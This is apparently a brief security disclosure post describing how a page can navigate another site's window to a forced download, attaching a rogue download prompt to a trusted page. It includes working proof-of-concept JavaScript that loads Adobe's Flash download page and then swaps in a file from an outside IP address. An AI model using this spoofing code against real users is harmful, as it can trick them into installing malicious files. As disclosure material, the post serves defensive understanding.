Browsers Browsers – Navigation Download Trick
Another moderately interesting tidbit, I guess... It is an important and little-known property of web browsers that one document can always navigate other, non-same-origin windows to arbitrary URLs. Perhaps more interestingly, you can also navigate third-party documents to resources served with Content-Disposition: attachment, in which case, you get the original contents of the address bar, plus a rogue download prompt attached to an unsuspecting page that never wanted you to download that file. PoC: http://lcamtuf.coredump.cx/fldl/ ========== <input type=submit onclick="doit()" value="Click me. I like to be clicked."> <script> var w; var once; function doit() { if (navigator.userAgent.indexOf('MSIE') != -1) w = window.open('page2.html', 'foo'); else w = window.open('data:text/html,<meta http-equiv="refresh" content="0;URL=http://get.adobe.com/flashplayer/download/?installer=Flash_Player_11_for_Internet_Explorer_(64_bit)&os=Windows%207&browser_type=MSIE&browser_dist=OEM&d=Google_Toolbar_7.0&PID=4166869">', 'foo'); setTimeout(donext, 4500); } function donext() { window.open('http://199.58.85.40/download2.cgi', 'foo'); if (once != true) setTimeout(donext, 5000); once = true; } </script> ========== More info: http://lcamtuf.blogspot.com/2012/05/yes-you-can-have-fun-with-downloads.html It's closely related to many other fundamental, open issues with browser UI design - but I guess it's an interesting highlight. /mz |